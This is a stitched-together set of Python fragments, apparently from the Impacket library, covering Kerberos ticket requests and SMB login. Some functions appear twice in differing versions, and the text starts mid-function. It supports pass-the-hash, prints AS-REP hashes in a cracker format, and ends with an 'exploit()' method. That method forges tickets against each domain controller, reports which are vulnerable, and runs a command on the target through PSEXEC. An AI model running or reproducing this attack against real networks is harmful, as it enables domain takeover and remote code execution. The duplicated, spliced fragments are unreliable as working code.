int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() opts.append(constants.APOptions.mutual_required.value) apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq,'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = domain seq_set(authenticator, 'cname', userName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) authenticator['cksum'] = noValue authenticator['cksum']['cksumtype'] = 0x8003 chkField = CheckSumField() chkField['Lgth'] = 16 chkField['Flags'] = GSS_C_CONF_FLAG | GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE #chkField['Flags'] = GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE authenticator['cksum']['checksum'] = chkField.getData() authenticator['seq-number'] = 0 encodedAuthenticator = encoder.encode(authenticator) # Key Usage 11 # AP-REQ Authenticator (includes application authenticator # subkey), encrypted with the application session key # (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator blob['MechToken'] = struct.pack('B', ASN1_AID) + asn1encode( struct.pack('B', ASN1_OID) + asn1encode( TypesMech['KRB5 - Kerberos 5'] ) + KRB5_AP_REQ + encoder.encode(apReq)) return cipher, sessionKey, blob.getData()
def getTGT(self): try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except: # No cache present pass else: # retrieve user and domain information from CCache file if needed if self.__domain == '': domain = ccache.principal.realm['data'] else: domain = self.__domain logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() logging.debug('Using TGT from cache') return TGT else: logging.debug("No valid credentials found in cache. ") # No TGT in cache, request it userName = Principal( self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) # In order to maximize the probability of getting session tickets with RC4 etype, we will convert the # password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the # cleartext password. # If no clear text password is provided, we just go with the defaults. if self.__password != '' and (self.__lmhash == '' and self.__nthash == ''): try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( userName, '', self.__domain, compute_lmhash(self.__password), compute_nthash(self.__password), self.__aesKey, kdcHost=self.__kdcHost) except Exception as e: logging.debug('TGT: %s' % str(e)) tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( userName, self.__password, self.__domain, unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, kdcHost=self.__kdcHost) else: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( userName, self.__password, self.__domain, unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, kdcHost=self.__kdcHost) TGT = {} TGT['KDC_REP'] = tgt TGT['cipher'] = cipher TGT['sessionKey'] = sessionKey return TGT
def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True): """ logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. :param string user: username :param string password: password for the user :param string domain: domain where the account is valid for (required) :param string lmhash: LMHASH used to authenticate using hashes (password is not used) :param string nthash: NTHASH used to authenticate using hashes (password is not used) :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) :param struct TGT: If there's a TGT available, send the structure here and it will be used :param struct TGS: same for TGS. See smb3.py for the format :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False :return: None, raises a Session Error if error. """ import os from impacket.krb5.ccache import CCache from impacket.krb5.kerberosv5 import KerberosError from impacket.krb5 import constants self._kdcHost = kdcHost self._useCache = useCache if TGT is not None or TGS is not None: useCache = False if useCache is True: try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except: # No cache present pass else: LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) # retrieve domain information from CCache file if needed if domain == '': domain = ccache.principal.realm['data'].decode('utf-8') LOG.debug('Domain retrieved from CCache: %s' % domain) principal = 'cifs/%s@%s' % (self.getRemoteName().upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is None: # Let's try for the TGT and go from there principal = 'krbtgt/%s@%s' % (domain.upper(),domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() LOG.debug('Using TGT from cache') else: LOG.debug("No valid credentials found in cache. ") else: TGS = creds.toTGS(principal) LOG.debug('Using TGS from cache') # retrieve user information from CCache file if needed if user == '' and creds is not None: user = creds['client'].prettyPrint().split(b'@')[0].decode('utf-8') LOG.debug('Username retrieved from CCache: %s' % user) elif user == '' and len(ccache.principal.components) > 0: user = ccache.principal.components[0]['data'].decode('utf-8') LOG.debug('Username retrieved from CCache: %s' % user) while True: try: if self.getDialect() == smb.SMB_DIALECT: return self._SMBConnection.kerberos_login(user, password, domain, lmhash, nthash, aesKey, kdcHost, TGT, TGS) return self._SMBConnection.kerberosLogin(user, password, domain, lmhash, nthash, aesKey, kdcHost, TGT, TGS) except (smb.SessionError, smb3.SessionError) as e: raise SessionError(e.get_error_code(), e.get_error_packet()) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES # So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if lmhash == '' and nthash == '' and (aesKey == '' or aesKey is None) and TGT is None and TGS is None: lmhash = compute_lmhash(password) nthash = compute_nthash(password) else: raise e else: raise e
def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True): """ logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. :param string user: username :param string password: password for the user :param string domain: domain where the account is valid for (required) :param string lmhash: LMHASH used to authenticate using hashes (password is not used) :param string nthash: NTHASH used to authenticate using hashes (password is not used) :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) :param struct TGT: If there's a TGT available, send the structure here and it will be used :param struct TGS: same for TGS. See smb3.py for the format :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False :return: None :raise SessionError: if error """ from impacket.krb5.ccache import CCache from impacket.krb5.kerberosv5 import KerberosError from impacket.krb5 import constants self._kdcHost = kdcHost self._useCache = useCache if TGT is not None or TGS is not None: useCache = False if useCache: domain, user, TGT, TGS = CCache.parseFile( domain, user, 'cifs/%s' % self.getRemoteName()) while True: try: if self.getDialect() == smb.SMB_DIALECT: return self._SMBConnection.kerberos_login( user, password, domain, lmhash, nthash, aesKey, kdcHost, TGT, TGS) return self._SMBConnection.kerberosLogin( user, password, domain, lmhash, nthash, aesKey, kdcHost, TGT, TGS) except (smb.SessionError, smb3.SessionError) as e: raise SessionError(e.get_error_code(), e.get_error_packet()) except KerberosError as e: if e.getErrorCode( ) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES # So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if lmhash == '' and nthash == '' and ( aesKey == '' or aesKey is None) and TGT is None and TGS is None: lmhash = compute_lmhash(password) nthash = compute_nthash(password) else: raise e else: raise e
def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT=None, TGS=None, targetName='', kdcHost=None, useCache=True): # Convert to binary form, just in case we're receiving strings if isinstance(lmhash, str): try: lmhash = unhexlify(lmhash) except TypeError: pass if isinstance(nthash, str): try: nthash = unhexlify(nthash) except TypeError: pass if isinstance(aesKey, str): try: aesKey = unhexlify(aesKey) except TypeError: pass if TGT is None and TGS is None: if useCache is True: try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except Exception: # No cache present pass else: # retrieve domain information from CCache file if needed if domain == '': domain = ccache.principal.realm['data'].decode('utf-8') LOG.debug('Domain retrieved from CCache: %s' % domain) LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'host/%s@%s' % (targetName.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is None: # Let's try for the TGT and go from there principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() LOG.debug('Using TGT from cache') else: LOG.debug("No valid credentials found in cache. ") else: TGS = creds.toTGS(principal) # retrieve user information from CCache file if needed if username == '' and creds is not None: username = creds['client'].prettyPrint().split( b'@')[0].decode('utf-8') LOG.debug('Username retrieved from CCache: %s' % username) elif username == '' and len(ccache.principal.components) > 0: username = ccache.principal.components[0]['data'].decode( 'utf-8') LOG.debug('Username retrieved from CCache: %s' % username) # First of all, we need to get a TGT for the user userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) while True: if TGT is None: if TGS is None: try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( userName, password, domain, lmhash, nthash, aesKey, kdcHost) except KerberosError as e: if e.getErrorCode( ) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES # So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if lmhash == b'' and nthash == b'' and ( aesKey == b'' or aesKey is None ) and TGT is None and TGS is None: from impacket.ntlm import compute_lmhash, compute_nthash LOG.debug( 'Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4') lmhash = compute_lmhash(password) nthash = compute_nthash(password) continue else: raise else: raise else: tgt = TGT['KDC_REP'] cipher = TGT['cipher'] sessionKey = TGT['sessionKey'] # Now that we have the TGT, we should ask for a TGS for cifs if TGS is None: serverName = Principal( 'host/%s' % targetName, type=constants.PrincipalNameType.NT_SRV_INST.value) try: tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( serverName, domain, kdcHost, tgt, cipher, sessionKey) except KerberosError as e: if e.getErrorCode( ) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES # So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if lmhash == b'' and nthash == b'' and ( aesKey == b'' or aesKey is None) and TGT is None and TGS is None: from impacket.ntlm import compute_lmhash, compute_nthash LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4') lmhash = compute_lmhash(password) nthash = compute_nthash(password) else: raise else: raise else: break else: tgs = TGS['KDC_REP'] cipher = TGS['cipher'] sessionKey = TGS['sessionKey'] break # Let's build a NegTokenInit with a Kerberos REQ_AP blob = SPNEGO_NegTokenInit() # Kerberos blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] # Let's extract the ticket from the TGS tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] ticket = Ticket() ticket.from_asn1(tgs['ticket']) # Now let's build the AP_REQ apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() opts.append(constants.APOptions.mutual_required.value) apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = domain seq_set(authenticator, 'cname', userName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) authenticator['cksum'] = noValue authenticator['cksum']['cksumtype'] = 0x8003 chkField = CheckSumField() chkField['Lgth'] = 16 chkField[ 'Flags'] = GSS_C_CONF_FLAG | GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE #chkField['Flags'] = GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE authenticator['cksum']['checksum'] = chkField.getData() authenticator['seq-number'] = 0 encodedAuthenticator = encoder.encode(authenticator) # Key Usage 11 # AP-REQ Authenticator (includes application authenticator # subkey), encrypted with the application session key # (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator blob['MechToken'] = struct.pack('B', ASN1_AID) + asn1encode( struct.pack('B', ASN1_OID) + asn1encode(TypesMech['KRB5 - Kerberos 5']) + KRB5_AP_REQ + encoder.encode(apReq)) return cipher, sessionKey, blob.getData()
def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcHost=None, requestPAC=True): # Convert to binary form, just in case we're receiving strings if isinstance(lmhash, str): try: lmhash = unhexlify(lmhash) except TypeError: pass if isinstance(nthash, str): try: nthash = unhexlify(nthash) except TypeError: pass if isinstance(aesKey, str): try: aesKey = unhexlify(aesKey) except TypeError: pass asReq = AS_REQ() domain = domain.upper() serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) pacRequest = KERB_PA_PAC_REQUEST() pacRequest['include-pac'] = requestPAC encodedPacRequest = encoder.encode(pacRequest) asReq['pvno'] = 5 asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) asReq['padata'] = noValue asReq['padata'][0] = noValue asReq['padata'][0]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) asReq['padata'][0]['padata-value'] = encodedPacRequest reqBody = seq_set(asReq, 'req-body') opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.proxiable.value) reqBody['kdc-options'] = constants.encodeFlags(opts) seq_set(reqBody, 'sname', serverName.components_to_asn1) seq_set(reqBody, 'cname', clientName.components_to_asn1) if domain == '': raise Exception('Empty Domain not allowed in Kerberos') reqBody['realm'] = domain now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['rtime'] = KerberosTime.to_asn1(now) reqBody['nonce'] = rand.getrandbits(31) # Yes.. this shouldn't happen but it's inherited from the past if aesKey is None: aesKey = b'' if nthash == b'': # This is still confusing. I thought KDC_ERR_ETYPE_NOSUPP was enough, # but I found some systems that accepts all ciphers, and trigger an error # when requesting subsequent TGS :(. More research needed. # So, in order to support more than one cypher, I'm setting aes first # since most of the systems would accept it. If we're lucky and # KDC_ERR_ETYPE_NOSUPP is returned, we will later try rc4. if aesKey != b'': if len(aesKey) == 32: supportedCiphers = (int( constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), ) else: supportedCiphers = (int( constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value), ) else: supportedCiphers = (int( constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), ) else: # We have hashes to try, only way is to request RC4 only supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value), ) seq_set_iter(reqBody, 'etype', supportedCiphers) message = encoder.encode(asReq) try: r = sendReceive(message, domain, kdcHost) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: if supportedCiphers[0] in ( constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value ) and aesKey == '': supportedCiphers = (int( constants.EncryptionTypes.rc4_hmac.value), ) seq_set_iter(reqBody, 'etype', supportedCiphers) message = encoder.encode(asReq) r = sendReceive(message, domain, kdcHost) else: raise else: raise # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the # 'Do not require Kerberos preauthentication' set preAuth = True try: asRep = decoder.decode(r, asn1Spec=KRB_ERROR())[0] except: # Most of the times we shouldn't be here, is this a TGT? asRep = decoder.decode(r, asn1Spec=AS_REP())[0] # Yes preAuth = False encryptionTypesData = dict() salt = '' if preAuth is False: # In theory, we should have the right credentials for the etype specified before. methods = asRep['padata'] encryptionTypesData[supportedCiphers[ 0]] = salt # handle RC4 fallback, we don't need any salt tgt = r else: methods = decoder.decode(asRep['e-data'], asn1Spec=METHOD_DATA())[0] for method in methods: if method[ 'padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value: etypes2 = decoder.decode(method['padata-value'], asn1Spec=ETYPE_INFO2())[0] for etype2 in etypes2: try: if etype2['salt'] is None or etype2['salt'].hasValue( ) is False: salt = '' else: salt = etype2['salt'].prettyPrint() except PyAsn1Error: salt = '' encryptionTypesData[etype2['etype']] = b(salt) elif method[ 'padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO.value: etypes = decoder.decode(method['padata-value'], asn1Spec=ETYPE_INFO())[0] for etype in etypes: try: if etype['salt'] is None or etype['salt'].hasValue( ) is False: salt = '' else: salt = etype['salt'].prettyPrint() except PyAsn1Error: salt = '' encryptionTypesData[etype['etype']] = b(salt) enctype = supportedCiphers[0] cipher = _enctype_table[enctype] # Pass the hash/aes key :P if nthash != b'' and (isinstance(nthash, bytes) and nthash != b''): key = Key(cipher.enctype, nthash) elif aesKey != b'': key = Key(cipher.enctype, aesKey) else: key = cipher.string_to_key(password, encryptionTypesData[enctype], None) if preAuth is True: if enctype in encryptionTypesData is False: raise Exception('No Encryption Data Available!') # Let's build the timestamp timeStamp = PA_ENC_TS_ENC() now = datetime.datetime.utcnow() timeStamp['patimestamp'] = KerberosTime.to_asn1(now) timeStamp['pausec'] = now.microsecond # Encrypt the shyte encodedTimeStamp = encoder.encode(timeStamp) # Key Usage 1 # AS-REQ PA-ENC-TIMESTAMP padata timestamp, encrypted with the # client key (Section 5.2.7.2) encriptedTimeStamp = cipher.encrypt(key, 1, encodedTimeStamp, None) encryptedData = EncryptedData() encryptedData['etype'] = cipher.enctype encryptedData['cipher'] = encriptedTimeStamp encodedEncryptedData = encoder.encode(encryptedData) # Now prepare the new AS_REQ again with the PADATA # ToDo: cannot we reuse the previous one? asReq = AS_REQ() asReq['pvno'] = 5 asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) asReq['padata'] = noValue asReq['padata'][0] = noValue asReq['padata'][0]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_ENC_TIMESTAMP.value) asReq['padata'][0]['padata-value'] = encodedEncryptedData asReq['padata'][1] = noValue asReq['padata'][1]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) asReq['padata'][1]['padata-value'] = encodedPacRequest reqBody = seq_set(asReq, 'req-body') opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.proxiable.value) reqBody['kdc-options'] = constants.encodeFlags(opts) seq_set(reqBody, 'sname', serverName.components_to_asn1) seq_set(reqBody, 'cname', clientName.components_to_asn1) reqBody['realm'] = domain now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['rtime'] = KerberosTime.to_asn1(now) reqBody['nonce'] = rand.getrandbits(31) seq_set_iter(reqBody, 'etype', ((int(cipher.enctype), ))) try: tgt = sendReceive(encoder.encode(asReq), domain, kdcHost) except Exception as e: if str(e).find('KDC_ERR_ETYPE_NOSUPP') >= 0: if lmhash == b'' and nthash == b'' and (aesKey == b'' or aesKey is None): from impacket.ntlm import compute_lmhash, compute_nthash lmhash = compute_lmhash(password) nthash = compute_nthash(password) return getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey, kdcHost, requestPAC) raise asRep = decoder.decode(tgt, asn1Spec=AS_REP())[0] # So, we have the TGT, now extract the new session key and finish cipherText = asRep['enc-part']['cipher'] if preAuth is False: # Let's output the TGT enc-part/cipher in John format, in case somebody wants to use it. LOG.debug('$krb5asrep$%d$%s@%s:%s$%s' % (asRep['enc-part']['etype'], clientName, domain, hexlify(asRep['enc-part']['cipher'].asOctets()[:16]), hexlify(asRep['enc-part']['cipher'].asOctets()[16:]))) # Key Usage 3 # AS-REP encrypted part (includes TGS session key or # application session key), encrypted with the client key # (Section 5.4.2) try: plainText = cipher.decrypt(key, 3, cipherText) except InvalidChecksum as e: # probably bad password if preauth is disabled if preAuth is False: error_msg = "failed to decrypt session key: %s" % str(e) raise SessionKeyDecryptionError(error_msg, asRep, cipher, key, cipherText) raise encASRepPart = decoder.decode(plainText, asn1Spec=EncASRepPart())[0] # Get the session key and the ticket # We're assuming the cipher for this session key is the same # as the one we used before. # ToDo: change this sessionKey = Key(cipher.enctype, encASRepPart['key']['keyvalue'].asOctets()) # ToDo: Check Nonces! return tgt, cipher, key, sessionKey
reqBody['realm'] = domain now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['rtime'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) seq_set_iter(reqBody, 'etype', ( (int(cipher.enctype),))) try: tgt = sendReceive(encoder.encode(asReq), domain, kdcHost) except Exception, e: if str(e).find('KDC_ERR_ETYPE_NOSUPP') >= 0: if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None): from impacket.ntlm import compute_lmhash, compute_nthash lmhash = compute_lmhash(password) nthash = compute_nthash(password) return getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey, kdcHost, requestPAC) raise # So, we have the TGT, now extract the new session key and finish asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0] cipherText = asRep['enc-part']['cipher'] # Key Usage 3 # AS-REP encrypted part (includes TGS session key or # application session key), encrypted with the client key # (Section 5.4.2) plainText = cipher.decrypt(key, 3, str(cipherText)) encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0]
def exploit(self): if self.__kdcHost is None: getDCs = True self.__kdcHost = self.__domain else: getDCs = False self.__domainSid, self.__rid = self.getUserSID() try: self.__forestSid = self.getForestSid() except Exception as e: # For some reason we couldn't get the forest data. No problem, we can still continue # Only drawback is we won't get forest admin if successful logging.error('Couldn\'t get forest info (%s), continuing' % str(e)) self.__forestSid = None if getDCs is False: # User specified a DC already, no need to get the list self.__domainControllers.append(self.__kdcHost) else: self.__domainControllers = self.getDomainControllers() userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) for dc in self.__domainControllers: logging.info('Attacking domain controller %s' % dc) self.__kdcHost = dc exception = None while True: try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, self.__lmhash, self.__nthash, None, self.__kdcHost, requestPAC=False) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES (most probably # Windows XP). So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if self.__lmhash is '' and self.__nthash is '': from impacket.ntlm import compute_lmhash, compute_nthash self.__lmhash = compute_lmhash(self.__password) self.__nthash = compute_nthash(self.__password) continue else: exception = str(e) break else: exception = str(e) break # So, we have the TGT, now extract the new session key and finish asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0] # If the cypher in use != RC4 there's gotta be a salt for us to use salt = '' if asRep['padata']: for pa in asRep['padata']: if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value: etype2 = decoder.decode(pa['padata-value'][2:], asn1Spec = ETYPE_INFO2_ENTRY())[0] salt = etype2['salt'].prettyPrint() cipherText = asRep['enc-part']['cipher'] # Key Usage 3 # AS-REP encrypted part (includes TGS session key or # application session key), encrypted with the client key # (Section 5.4.2) if self.__nthash != '': key = Key(cipher.enctype,self.__nthash) else: key = cipher.string_to_key(self.__password, salt, None) plainText = cipher.decrypt(key, 3, cipherText) encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0] authTime = encASRepPart['authtime'] serverName = Principal('krbtgt/%s' % self.__domain.upper(), type=constants.PrincipalNameType.NT_PRINCIPAL.value) tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey, authTime) # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value) try: tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, domain, self.__kdcHost, tgs, cipher, sessionKey) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES (most probably # Windows XP). So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if self.__lmhash is '' and self.__nthash is '': from impacket.ntlm import compute_lmhash, compute_nthash self.__lmhash = compute_lmhash(self.__password) self.__nthash = compute_nthash(self.__password) else: exception = str(e) break else: exception = str(e) break else: # Everything went well, let's save the ticket if asked and leave if self.__writeTGT is not None: from impacket.krb5.ccache import CCache ccache = CCache() ccache.fromTGS(tgs, oldSessionKey, sessionKey) ccache.saveFile(self.__writeTGT) break if exception is None: # Success! logging.info('%s found vulnerable!' % dc) break else: logging.info('%s seems not vulnerable (%s)' % (dc, exception)) if exception is None: TGS = {} TGS['KDC_REP'] = tgsCIFS TGS['cipher'] = cipher TGS['oldSessionKey'] = oldSessionKeyCIFS TGS['sessionKey'] = sessionKeyCIFS from impacket.smbconnection import SMBConnection if self.__targetIp is None: s = SMBConnection('*SMBSERVER', self.__target) else: s = SMBConnection('*SMBSERVER', self.__targetIp) s.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, TGS=TGS, useCache=False) if self.__command != 'None': executer = PSEXEC(self.__command, username, domain, s, TGS, self.__copyFile) executer.run(self.__target)